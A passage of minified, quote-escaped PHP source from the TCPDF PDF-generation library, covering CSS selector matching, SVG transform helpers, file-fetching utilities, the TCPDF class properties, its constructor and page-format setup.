\'*=\':{if(strpos($dom[$key][\'attribute\'][$att],$val)!==false){$valid=true;}break;}case \'|=\':{if($dom[$key][\'attribute\'][$att]==$val){$valid=true;}elseif(preg_match(\'/\'.$val.\'[\-]{1}/i\',$dom[$key][\'attribute\'][$att])>0){$valid=true;}break;}default:{$valid=true;}}}}break;}case \':\':{if($attrib[1]==\':\'){}else {}break;}}}else {$valid=true;}if($valid AND ($offset>0)){$valid=false;$selector=substr($selector,0,$offset);switch($operator){case \' \':{while($dom[$key][\'parent\']>0){if(self::isValidCSSSelectorForTag($dom,$dom[$key][\'parent\'],$selector)){$valid=true;break;}else {$key=$dom[$key][\'parent\'];}}break;}case \'>\':{$valid=self::isValidCSSSelectorForTag($dom,$dom[$key][\'parent\'],$selector);break;}case \'+\':{for($i=($key-1);$i>$dom[$key][\'parent\'];--$i){if($dom[$i][\'tag\'] AND $dom[$i][\'opening\']){$valid=self::isValidCSSSelectorForTag($dom,$i,$selector);break;}}break;}case \'~\':{for($i=($key-1);$i>$dom[$key][\'parent\'];--$i){if($dom[$i][\'tag\'] AND $dom[$i][\'opening\']){if(self::isValidCSSSelectorForTag($dom,$i,$selector)){break;}}}break;}}}}}return $valid;} public static function getCSSdataArray($dom,$key,$css){$cssarray=array();$selectors=array();if(isset($dom[($dom[$key][\'parent\'])][\'csssel\'])){$selectors=$dom[($dom[$key][\'parent\'])][\'csssel\'];}foreach($css as $selector=>$style){$pos=strpos($selector,\' \');$specificity=substr($selector,0,$pos);$selector=substr($selector,$pos);if(self::isValidCSSSelectorForTag($dom,$key,$selector)){if(!in_array($selector,$selectors)){$cssarray[]=array(\'k\'=>$selector,\'s\'=>$specificity,\'c\'=>$style);$selectors[]=$selector;}}}if(isset($dom[$key][\'attribute\'][\'style\'])){$cssarray[]=array(\'k\'=>\'\',\'s\'=>\'1000\',\'c\'=>$dom[$key][\'attribute\'][\'style\']);}$cssordered=array();foreach($cssarray as $key=>$val){$skey=sprintf(\'%04d\',$key);$cssordered[$val[\'s\'].\'_\'.$skey]=$val;}ksort($cssordered,SORT_STRING);return array($selectors,$cssordered);} public static function getTagStyleFromCSSarray($css){$tagstyle=\'\';foreach($css as $style){$csscmds=explode(\';\',$style[\'c\']);foreach($csscmds as $cmd){if(!empty($cmd)){$pos=strpos($cmd,\':\');if($pos!==false){$cmd=substr($cmd,0,($pos+1));if(strpos($tagstyle,$cmd)!==false){$tagstyle=preg_replace(\'/\'.$cmd.\'[^;]+/i\',\'\',$tagstyle);}}}}$tagstyle.=\';\'.$style[\'c\'];}$tagstyle=preg_replace(\'/[;]+/\',\';\',$tagstyle);return $tagstyle;} public static function intToRoman($number){$roman=\'\';while($number>=1000){$roman.=\'M\';$number-=1000;}while($number>=900){$roman.=\'CM\';$number-=900;}while($number>=500){$roman.=\'D\';$number-=500;}while($number>=400){$roman.=\'CD\';$number-=400;}while($number>=100){$roman.=\'C\';$number-=100;}while($number>=90){$roman.=\'XC\';$number-=90;}while($number>=50){$roman.=\'L\';$number-=50;}while($number>=40){$roman.=\'XL\';$number-=40;}while($number>=10){$roman.=\'X\';$number-=10;}while($number>=9){$roman.=\'IX\';$number-=9;}while($number>=5){$roman.=\'V\';$number-=5;}while($number>=4){$roman.=\'IV\';$number-=4;}while($number>=1){$roman.=\'I\';--$number;}return $roman;} public static function revstrpos($haystack,$needle,$offset=0){$length=strlen($haystack);$offset=($offset>0)?($length-$offset):abs($offset);$pos=strpos(strrev($haystack),strrev($needle),$offset);return ($pos===false)?false:($length-$pos-strlen($needle));} public static function getHyphenPatternsFromTEX($file){$data=file_get_contents($file);$patterns=array();$data=preg_replace(\'/\%[^
]*/\',\'\',$data);preg_match(\'/\\patterns\{([^\}]*)\}/i\',$data,$matches);$data=trim(substr($matches[0],10,-1));$patterns_array=preg_split(\'/[\s]+/\',$data);$patterns=array();foreach($patterns_array as $val){if(!TCPDF_STATIC::empty_string($val)){$val=trim($val);$val=str_replace(\'\'\',\'\\'\',$val);$key=preg_replace(\'/[0-9]+/\',\'\',$val);$patterns[$key]=$val;}}return $patterns;} public static function getPathPaintOperator($style,$default=\'S\'){$op=\'\';switch($style){case \'S\':case \'D\':{$op=\'S\';break;}case \'s\':case \'d\':{$op=\'s\';break;}case \'f\':case \'F\':{$op=\'f\';break;}case \'f*\':case \'F*\':{$op=\'f*\';break;}case \'B\':case \'FD\':case \'DF\':{$op=\'B\';break;}case \'B*\':case \'F*D\':case \'DF*\':{$op=\'B*\';break;}case \'b\':case \'fd\':case \'df\':{$op=\'b\';break;}case \'b*\':case \'f*d\':case \'df*\':{$op=\'b*\';break;}case \'CNZ\':{$op=\'W n\';break;}case \'CEO\':{$op=\'W* n\';break;}case \'n\':{$op=\'n\';break;}default:{if(!empty($default)){$op=self::getPathPaintOperator($default,\'\');}else {$op=\'\';}}}return $op;} public static function getTransformationMatrixProduct($ta,$tb){$tm=array();$tm[0]=($ta[0]*$tb[0])+($ta[2]*$tb[1]);$tm[1]=($ta[1]*$tb[0])+($ta[3]*$tb[1]);$tm[2]=($ta[0]*$tb[2])+($ta[2]*$tb[3]);$tm[3]=($ta[1]*$tb[2])+($ta[3]*$tb[3]);$tm[4]=($ta[0]*$tb[4])+($ta[2]*$tb[5])+$ta[4];$tm[5]=($ta[1]*$tb[4])+($ta[3]*$tb[5])+$ta[5];return $tm;} public static function getSVGTransformMatrix($attribute){$tm=array(1,0,0,1,0,0);$transform=array();if(preg_match_all(\'/(matrix|translate|scale|rotate|skewX|skewY)[\s]*\(([^\)]+)\)/si\',$attribute,$transform,PREG_SET_ORDER)>0){foreach($transform as $key=>$data){if(!empty($data[2])){$a=1;$b=0;$c=0;$d=1;$e=0;$f=0;$regs=array();switch($data[1]){case \'matrix\':{if(preg_match(\'/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si\',$data[2],$regs)){$a=$regs[1];$b=$regs[2];$c=$regs[3];$d=$regs[4];$e=$regs[5];$f=$regs[6];}break;}case \'translate\':{if(preg_match(\'/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si\',$data[2],$regs)){$e=$regs[1];$f=$regs[2];}elseif(preg_match(\'/([a-z0-9\-\.]+)/si\',$data[2],$regs)){$e=$regs[1];}break;}case \'scale\':{if(preg_match(\'/([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si\',$data[2],$regs)){$a=$regs[1];$d=$regs[2];}elseif(preg_match(\'/([a-z0-9\-\.]+)/si\',$data[2],$regs)){$a=$regs[1];$d=$a;}break;}case \'rotate\':{if(preg_match(\'/([0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)[\,\s]+([a-z0-9\-\.]+)/si\',$data[2],$regs)){$ang=deg2rad($regs[1]);$x=$regs[2];$y=$regs[3];$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=($x*(1-$a))-($y*$c);$f=($y*(1-$d))-($x*$b);}elseif(preg_match(\'/([0-9\-\.]+)/si\',$data[2],$regs)){$ang=deg2rad($regs[1]);$a=cos($ang);$b=sin($ang);$c=-$b;$d=$a;$e=0;$f=0;}break;}case \'skewX\':{if(preg_match(\'/([0-9\-\.]+)/si\',$data[2],$regs)){$c=tan(deg2rad($regs[1]));}break;}case \'skewY\':{if(preg_match(\'/([0-9\-\.]+)/si\',$data[2],$regs)){$b=tan(deg2rad($regs[1]));}break;}}$tm=self::getTransformationMatrixProduct($tm,array($a,$b,$c,$d,$e,$f));}}}return $tm;} public static function getVectorsAngle($x1,$y1,$x2,$y2){$dprod=($x1*$x2)+($y1*$y2);$dist1=sqrt(($x1*$x1)+($y1*$y1));$dist2=sqrt(($x2*$x2)+($y2*$y2));$angle=acos($dprod/($dist1*$dist2));if(is_nan($angle)){$angle=M_PI;}if((($x1*$y2)-($x2*$y1))<0){$angle*=-1;}return $angle;} public static function pregSplit($pattern,$modifiers,$subject,$limit=NULL,$flags=NULL){if((strpos($modifiers,\'u\')===FALSE) OR (count(preg_split(\'//u\',"
",-1,PREG_SPLIT_NO_EMPTY))==2)){return preg_split($pattern.$modifiers,$subject,$limit,$flags);}$ret=array();while(($nl=strpos($subject,"
"))!==FALSE){$ret=array_merge($ret,preg_split($pattern.$modifiers,substr($subject,0,$nl),$limit,$flags));$ret[]="
";$subject=substr($subject,($nl+1));}if(strlen($subject)>0){$ret=array_merge($ret,preg_split($pattern.$modifiers,$subject,$limit,$flags));}return $ret;} public static function fopenLocal($filename,$mode){if(strpos($filename,\'://\')===false){$filename=\'file://\'.$filename;}elseif(stream_is_local($filename)!==true){return false;}return fopen($filename,$mode);} public static function fileGetContents($file){$alt=array($file);if((strlen($file)>1) AND ($file[0]==\'/\') AND ($file[1]!=\'/\') AND !empty($_SERVER[\'DOCUMENT_ROOT\']) AND ($_SERVER[\'DOCUMENT_ROOT\']!=\'/\')){$findroot=strpos($file,$_SERVER[\'DOCUMENT_ROOT\']);if(($findroot===false) OR ($findroot>1)){if(substr($_SERVER[\'DOCUMENT_ROOT\'],-1)==\'/\'){$tmp=substr($_SERVER[\'DOCUMENT_ROOT\'],0,-1).$file;}else {$tmp=$_SERVER[\'DOCUMENT_ROOT\'].$file;}$alt[]=htmlspecialchars_decode(urldecode($tmp));}}$url=$file;if(preg_match(\'%^/{2}%\',$url)){if(preg_match(\'%^([^:]+:)//%i\',K_PATH_URL,$match)){$url=$match[1].str_replace(\' \',\'%20\',$url);$alt[]=$url;}}$urldata=@parse_url($url);if(!isset($urldata[\'query\']) OR (strlen($urldata[\'query\'])<=0)){if(K_PATH_URL AND (strpos($url,K_PATH_URL)===0)){$tmp=str_replace(K_PATH_URL,K_PATH_MAIN,$url);$tmp=htmlspecialchars_decode(urldecode($tmp));$alt[]=$tmp;}}if(isset($_SERVER[\'SCRIPT_URI\'])){$urldata=@parse_url($_SERVER[\'SCRIPT_URI\']);$alt[]=$urldata[\'scheme\'].\'://\'.$urldata[\'host\'].(($file[0]==\'/\')?\'\':\'/\').$file;}foreach($alt as $f){$ret=@file_get_contents($f);if(($ret===FALSE) AND !ini_get(\'allow_url_fopen\') AND function_exists(\'curl_init\') AND preg_match(\'%^(https?|ftp)://%\',$f)){$cs=curl_init();curl_setopt($cs,CURLOPT_URL,$f);curl_setopt($cs,CURLOPT_BINARYTRANSFER,true);curl_setopt($cs,CURLOPT_FAILONERROR,true);curl_setopt($cs,CURLOPT_RETURNTRANSFER,true);if((ini_get(\'open_basedir\')==\'\') AND (!ini_get(\'safe_mode\'))){curl_setopt($cs,CURLOPT_FOLLOWLOCATION,true);}curl_setopt($cs,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($cs,CURLOPT_TIMEOUT,30);curl_setopt($cs,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($cs,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($cs,CURLOPT_USERAGENT,\'TCPDF\');$ret=curl_exec($cs);curl_close($cs);}if($ret!==FALSE){break;}}return $ret;}}class TCPDF{ var $page; var $n; var $offsets=array(); var $pageobjects=array(); var $buffer; var $pages=array(); var $state; var $compress; var $CurOrientation; var $pagedim=array(); var $k; var $fwPt; var $fhPt; var $wPt; var $hPt; var $w; var $h; var $lMargin; var $rMargin; var $clMargin; var $crMargin; var $tMargin; var $bMargin; var $cell_padding=array(\'T\'=>0,\'R\'=>0,\'B\'=>0,\'L\'=>0); var $cell_margin=array(\'T\'=>0,\'R\'=>0,\'B\'=>0,\'L\'=>0); var $x; var $y; var $lasth; var $LineWidth; var $CoreFonts; var $fonts=array(); var $FontFiles=array(); var $diffs=array(); var $images=array(); var $svg_tag_depth=0; var $PageAnnots=array(); var $links=array(); var $FontFamily; var $FontStyle; var $FontAscent; var $FontDescent; var $underline; var $overline; var $CurrentFont; var $FontSizePt; var $FontSize; var $DrawColor; var $FillColor; var $TextColor; var $ColorFlag; var $AutoPageBreak; var $PageBreakTrigger; var $InHeader=false; var $InFooter=false; var $ZoomMode; var $LayoutMode; var $docinfounicode=true; var $title=\'\'; var $subject=\'\'; var $author=\'\'; var $keywords=\'\'; var $creator=\'\'; var $starting_page_number=1; var $img_rb_x; var $img_rb_y; var $imgscale=1; var $isunicode=false; var $PDFVersion=\'1.7\'; var $header_xobjid=false; var $header_xobj_autoreset=false; var $header_margin; var $footer_margin; var $original_lMargin; var $original_rMargin; var $header_font; var $footer_font; var $l; var $print_header=true; var $print_footer=true; var $header_logo=\'\'; var $header_logo_width=30; var $header_title=\'\'; var $header_string=\'\'; var $header_text_color=array(0,0,0); var $header_line_color=array(0,0,0); var $footer_text_color=array(0,0,0); var $footer_line_color=array(0,0,0); var $txtshadow=array(\'enabled\'=>false,\'depth_w\'=>0,\'depth_h\'=>0,\'color\'=>false,\'opacity\'=>1,\'blend_mode\'=>\'Normal\'); var $default_table_columns=4; var $HREF=array(); var $fontlist=array(); var $fgcolor; var $listordered=array(); var $listcount=array(); var $listnum=0; var $listindent=0; var $listindentlevel=0; var $bgcolor; var $tempfontsize=10; var $lispacer=\'\'; var $encoding=\'UTF-8\'; var $internal_encoding; var $rtl=false; var $tmprtl=false; var $encrypted; var $encryptdata=array(); var $last_enc_key; var $last_enc_key_c; var $file_id; var $outlines=array(); var $OutlineRoot; var $javascript=\'\'; var $n_js; var $linethrough; var $ur=array(); var $dpi=72; var $newpagegroup=array(); var $pagegroups=array(); var $currpagegroup=0; var $extgstates; var $jpeg_quality; var $cell_height_ratio=K_CELL_HEIGHT_RATIO; var $viewer_preferences; var $PageMode; var $gradients=array(); var $intmrk=array(); var $bordermrk=array(); var $emptypagemrk=array(); var $cntmrk=array(); var $footerpos=array(); var $footerlen=array(); var $newline=true; var $endlinex=0; var $linestyleWidth=\'\'; var $linestyleCap=\'0 J\'; var $linestyleJoin=\'0 j\'; var $linestyleDash=\'[] 0 d\'; var $openMarkedContent=false; var $htmlvspace=0; var $spot_colors=array(); var $lisymbol=\'\'; var $epsmarker=\'x#!#EPS#!#x\'; var $transfmatrix=array(); var $transfmatrix_key=0; var $booklet=false; var $feps=0.005; var $tagvspaces=array(); var $customlistindent=-1; var $opencell=true; var $embeddedfiles=array(); var $premode=false; var $transfmrk=array(); var $htmlLinkColorArray=array(0,0,255); var $htmlLinkFontStyle=\'U\'; var $numpages=0; var $pagelen=array(); var $numimages=0; var $imagekeys=array(); var $bufferlen=0; var $numfonts=0; var $fontkeys=array(); var $font_obj_ids=array(); var $pageopen=array(); var $default_monospaced_font=\'courier\'; var $objcopy; var $cache_file_length=array(); var $thead=\'\'; var $theadMargins=array(); var $sign=false; var $signature_data=array(); var $signature_max_length=11742; var $signature_appearance=array(\'page\'=>1,\'rect\'=>\'0 0 0 0\'); var $empty_signature_appearance=array(); var $tsa_timestamp=false; var $tsa_data=array(); var $re_spaces=\'/[^\S]/\'; var $re_space=array(\'p\'=>\'[^\S]\',\'m\'=>\'\'); var $sig_obj_id=0; var $page_obj_id=array(); var $form_obj_id=array(); var $default_form_prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'solid\',\'fillColor\'=>array(255,255,255),\'strokeColor\'=>array(128,128,128)); var $js_objects=array(); var $form_action=\'\'; var $form_enctype=\'application/x-www-form-urlencoded\'; var $form_mode=\'post\'; var $annotation_fonts=array(); var $radiobutton_groups=array(); var $radio_groups=array(); var $textindent=0; var $start_transaction_page=0; var $start_transaction_y=0; var $inthead=false; var $columns=array(); var $num_columns=1; var $current_column=0; var $column_start_page=0; var $maxselcol=array(\'page\'=>0,\'column\'=>0); var $colxshift=array(\'x\'=>0,\'s\'=>array(\'H\'=>0,\'V\'=>0),\'p\'=>array(\'L\'=>0,\'T\'=>0,\'R\'=>0,\'B\'=>0)); var $textrendermode=0; var $textstrokewidth=0; var $strokecolor; var $pdfunit=\'mm\'; var $tocpage=false; var $rasterize_vector_images=false; var $font_subsetting=true; var $default_graphic_vars=array(); var $xobjects=array(); var $inxobj=false; var $xobjid=\'\'; var $font_stretching=100; var $font_spacing=0; var $page_regions=array(); var $check_page_regions=true; var $pdflayers=array(); var $dests=array(); var $n_dests; var $efnames=array(); var $svgdir=\'\'; var $svgunit=\'px\'; var $svggradients=array(); var $svggradientid=0; var $svgdefsmode=false; var $svgdefs=array(); var $svgclipmode=false; var $svgclippaths=array(); var $svgcliptm=array(); var $svgclipid=0; var $svgtext=\'\'; var $svgtextmode=array(); var $svgstyles=array(array(\'alignment-baseline\'=>\'auto\',\'baseline-shift\'=>\'baseline\',\'clip\'=>\'auto\',\'clip-path\'=>\'none\',\'clip-rule\'=>\'nonzero\',\'color\'=>\'black\',\'color-interpolation\'=>\'sRGB\',\'color-interpolation-filters\'=>\'linearRGB\',\'color-profile\'=>\'auto\',\'color-rendering\'=>\'auto\',\'cursor\'=>\'auto\',\'direction\'=>\'ltr\',\'display\'=>\'inline\',\'dominant-baseline\'=>\'auto\',\'enable-background\'=>\'accumulate\',\'fill\'=>\'black\',\'fill-opacity\'=>1,\'fill-rule\'=>\'nonzero\',\'filter\'=>\'none\',\'flood-color\'=>\'black\',\'flood-opacity\'=>1,\'font\'=>\'\',\'font-family\'=>\'helvetica\',\'font-size\'=>\'medium\',\'font-size-adjust\'=>\'none\',\'font-stretch\'=>\'normal\',\'font-style\'=>\'normal\',\'font-variant\'=>\'normal\',\'font-weight\'=>\'normal\',\'glyph-orientation-horizontal\'=>\'0deg\',\'glyph-orientation-vertical\'=>\'auto\',\'image-rendering\'=>\'auto\',\'kerning\'=>\'auto\',\'letter-spacing\'=>\'normal\',\'lighting-color\'=>\'white\',\'marker\'=>\'\',\'marker-end\'=>\'none\',\'marker-mid\'=>\'none\',\'marker-start\'=>\'none\',\'mask\'=>\'none\',\'opacity\'=>1,\'overflow\'=>\'auto\',\'pointer-events\'=>\'visiblePainted\',\'shape-rendering\'=>\'auto\',\'stop-color\'=>\'black\',\'stop-opacity\'=>1,\'stroke\'=>\'none\',\'stroke-dasharray\'=>\'none\',\'stroke-dashoffset\'=>0,\'stroke-linecap\'=>\'butt\',\'stroke-linejoin\'=>\'miter\',\'stroke-miterlimit\'=>4,\'stroke-opacity\'=>1,\'stroke-width\'=>1,\'text-anchor\'=>\'start\',\'text-decoration\'=>\'none\',\'text-rendering\'=>\'auto\',\'unicode-bidi\'=>\'normal\',\'visibility\'=>\'visible\',\'word-spacing\'=>\'normal\',\'writing-mode\'=>\'lr-tb\',\'text-color\'=>\'black\',\'transfmatrix\'=>array(1,0,0,1,0,0))); var $force_srgb=false; var $pdfa_mode=false; var $doc_creation_timestamp; var $doc_modification_timestamp; var $custom_xmp=\'\'; var $overprint=array(\'OP\'=>false,\'op\'=>false,\'OPM\'=>0); var $alpha=array(\'CA\'=>1,\'ca\'=>1,\'BM\'=>\'/Normal\',\'AIS\'=>false); var $page_boxes=array(\'MediaBox\',\'CropBox\',\'BleedBox\',\'TrimBox\',\'ArtBox\'); var $tcpdflink=true; var $gdgammacache=array(); function __construct($orientation=\'P\',$unit=\'mm\',$format=\'A4\',$unicode=true,$encoding=\'UTF-8\',$diskcache=false,$pdfa=false){if(function_exists(\'mb_internal_encoding\') AND mb_internal_encoding()){$this->internal_encoding=mb_internal_encoding();mb_internal_encoding(\'ASCII\');}$serformat=(is_array($format)?json_encode($format):$format);$this->file_id=md5(TCPDF_STATIC::getRandomSeed(\'TCPDF\'.$orientation.$unit.$serformat.$encoding));$this->font_obj_ids=array();$this->page_obj_id=array();$this->form_obj_id=array();$this->pdfa_mode=$pdfa;$this->force_srgb=false;$this->rtl=false;$this->tmprtl=false;$this->_dochecks();$this->isunicode=$unicode;$this->page=0;$this->transfmrk[0]=array();$this->pagedim=array();$this->n=2;$this->buffer=\'\';$this->pages=array();$this->state=0;$this->fonts=array();$this->FontFiles=array();$this->diffs=array();$this->images=array();$this->links=array();$this->gradients=array();$this->InFooter=false;$this->lasth=0;$this->FontFamily=defined(\'PDF_FONT_NAME_MAIN\')?PDF_FONT_NAME_MAIN:\'helvetica\';$this->FontStyle=\'\';$this->FontSizePt=12;$this->underline=false;$this->overline=false;$this->linethrough=false;$this->DrawColor=\'0 G\';$this->FillColor=\'0 g\';$this->TextColor=\'0 g\';$this->ColorFlag=false;$this->pdflayers=array();$this->encrypted=false;$this->last_enc_key=\'\';$this->CoreFonts=array(\'courier\'=>\'Courier\',\'courierB\'=>\'Courier-Bold\',\'courierI\'=>\'Courier-Oblique\',\'courierBI\'=>\'Courier-BoldOblique\',\'helvetica\'=>\'Helvetica\',\'helveticaB\'=>\'Helvetica-Bold\',\'helveticaI\'=>\'Helvetica-Oblique\',\'helveticaBI\'=>\'Helvetica-BoldOblique\',\'times\'=>\'Times-Roman\',\'timesB\'=>\'Times-Bold\',\'timesI\'=>\'Times-Italic\',\'timesBI\'=>\'Times-BoldItalic\',\'symbol\'=>\'Symbol\',\'zapfdingbats\'=>\'ZapfDingbats\');$this->setPageUnit($unit);$this->setPageFormat($format,$orientation);$margin=28.35/$this->k;$this->SetMargins($margin,$margin);$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;$cpadding=$margin/10;$this->setCellPaddings($cpadding,0,$cpadding,0);$this->setCellMargins(0,0,0,0);$this->LineWidth=0.57/$this->k;$this->linestyleWidth=sprintf(\'%F w\',($this->LineWidth*$this->k));$this->linestyleCap=\'0 J\';$this->linestyleJoin=\'0 j\';$this->linestyleDash=\'[] 0 d\';$this->SetAutoPageBreak(true,(2*$margin));$this->SetDisplayMode(\'fullwidth\');$this->SetCompression();$this->setPDFVersion();$this->tcpdflink=true;$this->encoding=$encoding;$this->HREF=array();$this->fgcolor=array(\'R\'=>0,\'G\'=>0,\'B\'=>0);$this->strokecolor=array(\'R\'=>0,\'G\'=>0,\'B\'=>0);$this->bgcolor=array(\'R\'=>255,\'G\'=>255,\'B\'=>255);$this->extgstates=array();$this->setTextShadow();$this->sign=false;$this->tsa_timestamp=false;$this->tsa_data=array();$this->signature_appearance=array(\'page\'=>1,\'rect\'=>\'0 0 0 0\',\'name\'=>\'Signature\');$this->empty_signature_appearance=array();$this->ur[\'enabled\']=false;$this->ur[\'document\']=\'/FullSave\';$this->ur[\'annots\']=\'/Create/Delete/Modify/Copy/Import/Export\';$this->ur[\'form\']=\'/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate\';$this->ur[\'signature\']=\'/Modify\';$this->ur[\'ef\']=\'/Create/Delete/Modify/Import\';$this->ur[\'formex\']=\'\';$this->jpeg_quality=75;TCPDF_FONTS::utf8Bidi(array(\'\'),\'\',false,$this->isunicode,$this->CurrentFont);$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);$this->setHeaderFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));$this->setFooterFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));if($this->isunicode AND (@preg_match(\'/\pL/u\',\'a\')==1)){$this->setSpacesRE(\'/(?!)[\s\p{Z}]/u\');}else {$this->setSpacesRE(\'/[^\S]/\');}$this->default_form_prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'solid\',\'fillColor\'=>array(255,255,255),\'strokeColor\'=>array(128,128,128));$this->doc_creation_timestamp=time();$this->doc_modification_timestamp=$this->doc_creation_timestamp;$this->default_graphic_vars=$this->getGraphicVars();$this->header_xobj_autoreset=false;$this->custom_xmp=\'\';register_shutdown_function(array($this,\'_destroy\'),true);} function __destruct(){if(isset($this->internal_encoding) AND !empty($this->internal_encoding)){mb_internal_encoding($this->internal_encoding);}$this->_destroy(true);} function setPageUnit($unit){$unit=strtolower($unit);switch($unit){case \'px\':case \'pt\':{$this->k=1;break;}case \'mm\':{$this->k=$this->dpi/25.4;break;}case \'cm\':{$this->k=$this->dpi/2.54;break;}case \'in\':{$this->k=$this->dpi;break;}default:{$this->Error(\'Incorrect unit: \'.$unit);break;}}$this->pdfunit=$unit;if(isset($this->CurOrientation)){$this->setPageOrientation($this->CurOrientation);}} function setPageFormat($format,$orientation=\'P\'){if(!empty($format) AND isset($this->pagedim[$this->page])){unset($this->pagedim[$this->page]);}if(is_string($format)){$pf=TCPDF_STATIC::getPageSizeFromFormat($format);$this->fwPt=$pf[0];$this->fhPt=$pf[1];}else {if(isset($format[\'MediaBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'MediaBox\',$format[\'MediaBox\'][\'llx\'],$format[\'MediaBox\'][\'lly\'],$format[\'MediaBox\'][\'urx\'],$format[\'MediaBox\'][\'ury\'],false,$this->k,$this->pagedim);$this->fwPt=(($format[\'MediaBox\'][\'urx\']-$format[\'MediaBox\'][\'llx\'])*$this->k);$this->fhPt=(($format[\'MediaBox\'][\'ury\']-$format[\'MediaBox\'][\'lly\'])*$this->k);}else {if(isset($format[0]) AND is_numeric($format[0]) AND isset($format[1]) AND is_numeric($format[1])){$pf=array(($format[0]*$this->k),($format[1]*$this->k));}else {if(!isset($format[\'format\'])){$format[\'format\']=\'A4\';}$pf=TCPDF_STATIC::getPageSizeFromFormat($format[\'format\']);}$this->fwPt=$pf[0];$this->fhPt=$pf[1];$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'MediaBox\',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(isset($format[\'CropBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'CropBox\',$format[\'CropBox\'][\'llx\'],$format[\'CropBox\'][\'lly\'],$format[\'CropBox\'][\'urx\'],$format[\'CropBox\'][\'ury\'],false,$this->k,$this->pagedim);}if(isset($format[\'BleedBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'BleedBox\',$format[\'BleedBox\'][\'llx\'],$format[\'BleedBox\'][\'lly\'],$format[\'BleedBox\'][\'urx\'],$format[\'BleedBox\'][\'ury\'],false,$this->k,$this->pagedim);}if(isset($format[\'TrimBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'TrimBox\',$format[\'TrimBox\'][\'llx\'],$format[\'TrimBox\'][\'lly\'],$format[\'TrimBox\'][\'urx\'],$format[\'TrimBox\'][\'ury\'],false,$this->k,$this->pagedim);}if(isset($format[\'ArtBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'ArtBox\',$format[\'ArtBox\'][\'llx\'],$format[\'ArtBox\'][\'lly\'],$format[\'ArtBox\'][\'urx\'],$format[\'ArtBox\'][\'ury\'],false,$this->k,$this->pagedim);}if(isset($format[\'BoxColorInfo\'])){$this->pagedim[$this->page][\'BoxColorInfo\']=$format[\'BoxColorInfo\'];}if(isset($format[\'Rotate\']) AND (($format[\'Rotate\']%90)==0)){$this->pagedim[$this->page][\'Rotate\']=intval($format[\'Rotate\']);}if(isset($format[\'PZ\'])){$this->pagedim[$this->page][\'PZ\']=floatval($format[\'PZ\']);}if(isset($format[\'trans\'])){if(isset($format[\'trans\'][\'Dur\'])){$this->pagedim[$this->page][\'trans\'][\'Dur\']=floatval($format[\'trans\'][\'Dur\']);}$stansition_styles=array(\'Split\',\'Blinds\',\'Box\',\'Wipe\',\'Dissolve\',\'Glitter\',\'R\',\'Fly\',\'Push\',\'Cover\',\'Uncover\',\'Fade\');if(isset($format[\'trans\'][\'S\']) AND in_array($format[\'trans\'][\'S\'],$stansition_styles)){$this->pagedim[$this->page][\'trans\'][\'S\']=$format[\'trans\'][\'S\'];$valid_effect=array(\'Split\',\'Blinds\');$valid_vals=array(\'H\',\'V\');if(isset($format[\'trans\'][\'Dm\']) AND in_array($format[\'trans\'][\'S\'],$valid_effect) AND in_array($format[\'trans\'][\'Dm\'],$valid_vals)){$this->pagedim[$this->page][\'trans\'][\'Dm\']=$format[\'trans\'][\'Dm\'];}$valid_effect=array(\'Split\',\'Box\',\'Fly\');$valid_vals=array(\'I\',\'O\');if(isset($format[\'trans\'][\'M\']) AND in_array($format[\'trans\'][\'S\'],$valid_effect) AND in_array($format[\'trans\'][\'M\'],$valid_vals)){$this->pagedim[$this->page][\'trans\'][\'M\']=$format[\'trans\'][\'M\'];}$valid_effect=array(\'Wipe\',\'Glitter\',\'Fly\',\'Cover\',\'Uncover\',\'Push\');if(isset($format[\'trans\'][\'Di\']) AND in_array($format[\'trans\'][\'S\'],$valid_effect)){if(((($format[\'trans\'][\'Di\']==90) OR ($format[\'trans\'][\'Di\']==180)) AND ($format[\'trans\'][\'S\']==\'Wipe\')) OR (($format[\'trans\'][\'Di\']==315) AND ($format[\'trans\'][\'S\']==\'Glitter\')) OR (($format[\'trans\'][\'Di\']==0) OR ($format[\'trans\'][\'Di\']==270))){$this->pagedim[$this->page][\'trans\'][\'Di\']=intval($format[\'trans\'][\'Di\']);}}if(isset($format[\'trans\'][\'SS\']) AND ($format[\'trans\'][\'S\']==\'Fly\')){$this->pagedim[$this->page][\'trans\'][\'SS\']=floatval($format[\'trans\'][\'SS\']);}if(isset($format[\'trans\'][\'B\']) AND ($format[\'trans\'][\'B\']===true) AND ($format[\'trans\'][\'S\']==\'Fly\')){$this->pagedim[$this->page][\'trans\'][\'B\']=\'true\';}}else {$this->pagedim[$this->page][\'trans\'][\'S\']=\'R\';}if(isset($format[\'trans\'][\'D\'])){$this->pagedim[$this->page][\'trans\'][\'D\']=floatval($format[\'trans\'][\'D\']);}else {$this->pagedim[$this->page][\'trans\'][\'D\']=1;}}}$this->setPageOrientation($orientation);} function 